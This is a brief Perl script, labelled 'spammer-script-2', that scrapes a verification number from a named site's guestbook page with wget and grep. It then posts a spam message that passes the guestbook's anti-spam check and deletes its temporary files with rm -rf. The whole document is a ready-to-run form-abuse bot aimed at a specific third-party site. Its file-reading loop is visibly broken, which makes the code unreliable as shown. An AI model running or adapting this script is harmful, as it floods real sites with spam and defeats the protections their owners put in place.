#! /usr/bin/perl # add your info below $your_name="spammer-script-2"; $your_site="www.spamking.com"; $say_something="I am the spam king!"; `wget -q http://www.tropicalpcsolutions.com/digi-dl.com/php/temp/gb/guestbook.php?assign_num=true`; `grep "Random" guestbook.php?assign_num=true > results.log`; open (RESULT, "results.log") || die "Can't open file: $!"; while (defined ($some_stuff = )){ $junk=$some_stuff; } close (RESULT) || die "Can't close the file: $!"; $blah = substr($junk, 0, - 90); $number= substr($blah, 99); `wget -q --post-data 'name=$your_name&domain=$your_site&message=$say_something&user_verify=$number&submit=LeaveComment' --referer=www.tropicalpcsolutions.com http://www.tropicalpcsolutions.com/digi-dl.com/php/temp/gb/guestbook.php?assign_num=false`; `rm -rf results.log`;`rm -rf guestbook.php?assign_num=true`;`rm -rf guestbook.php?assign_num=false`;`rm -rf spam_me.htm`;`rm -rf form_fields.txt`; exit;